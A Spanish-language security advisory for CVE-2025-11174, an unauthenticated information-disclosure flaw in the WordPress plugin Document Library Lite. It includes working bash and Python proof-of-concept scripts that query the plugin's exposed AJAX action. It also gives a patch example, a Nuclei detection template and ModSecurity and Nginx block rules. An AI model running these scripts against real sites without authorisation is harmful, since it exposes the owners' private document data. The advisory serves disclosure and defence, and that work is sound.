
Document Library Lite <= 1.1.6 - Falta de autorización para la exposición de información sensible | CVE-2025-11174
Palabras clave: CVE-2025-11174, vulnerabilidad de Document Library Lite, divulgación de información, seguridad de WordPress, exploit AJAX no autenticado, vulnerabilidad de plugin de WordPress, CWE-862, seguridad de plugin de documentos de WordPress, bypass de autorización, WordPress CVE 2025
Vulnerabilidad de Divulgación de Información en el Plugin Document Library Lite de WordPress (CVE-2025-11174) - Fallo de seguridad que permite acceso no autenticado a datos sensibles de documentos en el plugin de biblioteca de documentos de WordPress.
Se descubrió una vulnerabilidad crítica de bypass de autorización en el Plugin Document Library Lite de WordPress que permite a atacantes no autenticados acceder a información sensible de documentos sin la autenticación adecuada.
Descubierto por: Kai Aizen y Avraham Shemesh (SnailSploit)
Publicado: 1 de noviembre de 2025
Puntuación CVSS: 5.3 (Medio)
CWE: CWE-862 - Autorización Faltante
Plugin: Document Library Lite
Vendedor: Barn2 Plugins
Tipo de Ataque: Divulgación de Información no Autenticada
Privilegios Requeridos: Ninguno (Ataque no Autenticado)
El plugin Document Library Lite para WordPress contiene una vulnerabilidad de autorización incorrecta en todas las versiones hasta la 1.1.6 inclusive. El plugin expone una acción AJAX no autenticada dll_load_posts que devuelve una tabla JSON de datos de documentos sin realizar comprobaciones de nonce o capacidades.
Esta vulnerabilidad permite a atacantes no autenticados:
Nota: La puntuación CVSS de 5.3 (severidad Media) refleja una divulgación limitada de información. Si bien la vulnerabilidad permite el acceso no autenticado a datos de documentos, el impacto se califica como Bajo en confidencialidad sin impacto en integridad ni disponibilidad.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Desglose CVSS v3.1:
La acción AJAX dll_load_posts está registrada sin las comprobaciones adecuadas de autenticación o autorización:
// Código vulnerable (simplificado)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
El prefijo wp_ajax_nopriv_ indica que esta acción es accesible para usuarios no autenticados, y la función callback no implementa:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
La vulnerabilidad puede explotarse a través del endpoint admin-ajax.php de WordPress sin autenticación.
⚠️ Solo con Fines Educativos y de Pruebas Autorizadas
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
Acción Inmediata Requerida:
admin-ajax.php con action=dll_load_postsA través del Admin de WordPress:
Usando WP-CLI:
wp plugin update document-library-lite
Asegúrese de que todos los manejadores AJAX implementen controles de seguridad adecuados:
// Ejemplo de seguridad AJAX correcta
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');
function dll_load_posts_callback() {
// Verificar nonce
if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
wp_die('Nonce inválido');
}
// Comprobar capacidades
if (!current_user_can('read')) {
wp_send_json_error('Permisos insuficientes');
wp_die();
}
// Su código seguro aquí
}
# Comprobar si está instalada una versión vulnerable
wp plugin list | grep -i "document-library-lite"
Plantilla Nuclei:
id: CVE-2025-11174
info:
name: Document Library Lite - Unauthenticated Information Disclosure
author: security-research
severity: medium
description: Document Library Lite plugin for WordPress is vulnerable to information disclosure
reference:
- https://github.com/[your-repo]/CVE-2025-11174
tags: cve,cve2025,wordpress,wp-plugin,unauth
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=dll_load_posts"
matchers-condition: and
matchers:
- type: word
words:
- "data"
- "recordsTotal"
condition: and
- type: status
status:
- 200
Regla ModSecurity:
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
"chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
log,deny,status:403,msg:'CVE-2025-11174 Exploit Attempt'"
SecRule ARGS:action "@streq dll_load_posts" "t:none"
Regla Nginx/OpenResty:
if ($request_uri ~* "admin-ajax\.php") {
if ($args ~* "action=dll_load_posts") {
return 403;
}
}
Investigadores:
Proceso de Divulgación: Divulgación coordinada
Esta información se proporciona únicamente con fines de investigación de seguridad y defensa. Cualquier explotación de esta vulnerabilidad con fines maliciosos es ilegal y poco ética. Siempre obtenga la autorización adecuada antes de probar sistemas que no le pertenecen.
Para preguntas o información adicional sobre esta vulnerabilidad:
Última actualización: 2 de noviembre de 2025
El artículo completo, la metodología y las investigaciones relacionadas de este proyecto se encuentran en:
https://snailsploit.com/security-research/cves/cve-2025-11174/
Creado por Kai Aizen — investigador independiente de seguridad ofensiva.
snailsploit.com · Investigación · Marcos de trabajo · GitHub · LinkedIn · ResearchGate · X/Twitter
Mismo ataque. Sustrato diferente.
| Métrica | Valor |
|---|
| Vector de Ataque | Red (AV:N) |
| Complejidad del Ataque | Baja (AC:L) |
| Privilegios Requeridos | Ninguno (PR:N) |
| Interacción del Usuario | Ninguna (UI:N) |
| Alcance | Sin cambios (S:U) |
| Confidencialidad | Baja (C:L) |
| Integridad | Ninguna (I:N) |
| Disponibilidad | Ninguna (A:N) |